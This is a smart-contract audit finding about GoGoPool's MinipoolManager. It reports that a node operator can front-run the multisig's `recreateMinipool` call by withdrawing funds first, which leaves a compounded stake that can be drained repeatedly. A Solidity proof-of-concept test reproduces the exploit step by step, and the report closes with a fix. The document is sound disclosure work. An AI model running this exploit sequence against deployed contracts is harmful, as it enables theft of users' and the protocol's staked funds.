# Recreate Minipool can be frontrunned by node operator and lead to stealing funds

A minipool can be recreated by the Rialto multisig to reinitialize the stake while compounding the rewards using the `recreateMinipool` function:

https://github.com/code-423n4/2022-12-gogopool/blob/main/contracts/contract/MinipoolManager.sol#L444-L478

```solidity
function recreateMinipool(address nodeID) external whenNotPaused {
  int256 minipoolIndex = onlyValidMultisig(nodeID);
  requireValidStateTransition(minipoolIndex, MinipoolStatus.Prelaunch);
  Minipool memory mp = getMinipool(minipoolIndex);
  // Compound the avax plus rewards
  // NOTE Assumes a 1:1 nodeOp:liqStaker funds ratio
  uint256 compoundedAvaxNodeOpAmt = mp.avaxNodeOpAmt + mp.avaxNodeOpRewardAmt;
  setUint(keccak256(abi.encodePacked("minipool.item", minipoolIndex, ".avaxNodeOpAmt")), compoundedAvaxNodeOpAmt);
  setUint(keccak256(abi.encodePacked("minipool.item", minipoolIndex, ".avaxLiquidStakerAmt")), compoundedAvaxNodeOpAmt);
  ...  
```

The function checks that the minipool can be moved to the `Prelaunch` state, which means that the current state must be `Withdrawable` or
`Error`, but also `Finished` is a valid transition.

This action can then be frontrunned by the node operator to withdraw their funds before the compound happens. A node operator can call the `withdrawMinipoolFunds` function if the minipool is in the `Withdrawable` or `Error` state to remove their funds, while the call to `recreateMinipool` will still succeed since the minipool will then be in the `Finished` status.

## Impact

This represents a critical vulnerability since an attacker can steal funds from the protocol. After the first staking cycle of the minipool, the node operator can withdraw their funds while the minipool is successfully recreated in a state where it is ready to start a new staking cycle (`Prelaunch`) and the recorded amount is the compounded amount of the initial staked amount and the rewards of the last cycle.

The attacker just needs to have the required amount of `GGP` staked and the initial AVAX amount to trigger the first stake round. The attack can then be repeated to continuously steal protocol funds.

## PoC

The following test demonstrates the issue. After the first staking cycle, when the minipool is in the `Withdrawable` state, the node operator performs the call to the `withdrawMinipoolFunds` function before the `recreateMinipool` call is executed.

```solidity
// SPDX-License-Identifier: GPL-3.0-only
pragma solidity 0.8.17;

import "./utils/BaseTest.sol";
import {FixedPointMathLib} from "@rari-capital/solmate/src/utils/FixedPointMathLib.sol";

contract AuditTest is BaseTest {
	using FixedPointMathLib for uint256;
	address private nodeOp;

	function setUp() public override {
		super.setUp();
		nodeOp = getActorWithTokens("nodeOp", MAX_AMT, MAX_AMT);
	}

	function test_MinipoolManager_FrontrunRecreateMinipool() public {
		// Setup minipool and get to the withdrawable state by following the normal steps
		address liqStaker = getActorWithTokens("liqStaker", MAX_AMT, MAX_AMT);
		vm.prank(liqStaker);
		ggAVAX.depositAVAX{value: MAX_AMT}();

		uint256 duration = 2 weeks;
		uint256 depositAmt = 1000 ether;
		uint256 avaxAssignmentRequest = 1000 ether;
		uint256 validationAmt = depositAmt + avaxAssignmentRequest;

		vm.startPrank(nodeOp);

		ggp.approve(address(staking), MAX_AMT);
		staking.stakeGGP(200 ether);
		MinipoolManager.Minipool memory mp = createMinipool(depositAmt, avaxAssignmentRequest, duration);

		vm.stopPrank();

		vm.startPrank(address(rialto));

		minipoolMgr.claimAndInitiateStaking(mp.nodeID);
		bytes32 txID = keccak256("txid");
		minipoolMgr.recordStakingStart(mp.nodeID, txID, block.timestamp);

		skip(duration);

		uint256 rewards = 10 ether;
		deal(address(rialto), address(rialto).balance + rewards);
		minipoolMgr.recordStakingEnd{value: validationAmt + rewards}(mp.nodeID, block.timestamp, rewards);

		vm.stopPrank();

		// NodeOp frontruns the recreateMinipool call and withdraws the funds
		vm.prank(nodeOp);
		minipoolMgr.withdrawMinipoolFunds(mp.nodeID);

		vm.prank(address(rialto));
		minipoolMgr.recreateMinipool(mp.nodeID);

		// Now the minipool has been successfully recreated with the compounded staked amounts.
		MinipoolManager.Minipool memory updatedMp = minipoolMgr.getMinipool(mp.index);
		assertEq(updatedMp.status, uint256(MinipoolStatus.Prelaunch));

		uint256 halfRewards = rewards / 2;
		uint256 nodeCommissionFee = halfRewards.mulWadDown(dao.getMinipoolNodeCommissionFeePct());
		assertEq(updatedMp.avaxNodeOpAmt, depositAmt + halfRewards + nodeCommissionFee);
	}
}
```

## Recommendation

The `recreateMinipool` function should check that user funds have not been previously withdrawn before recreating and compounding the minipool. The valid transitions for this function should be from the `Withdrawable` or `Error` state, as these represent the states where the staking cycle has ended and node operator funds are still held by the protocol.
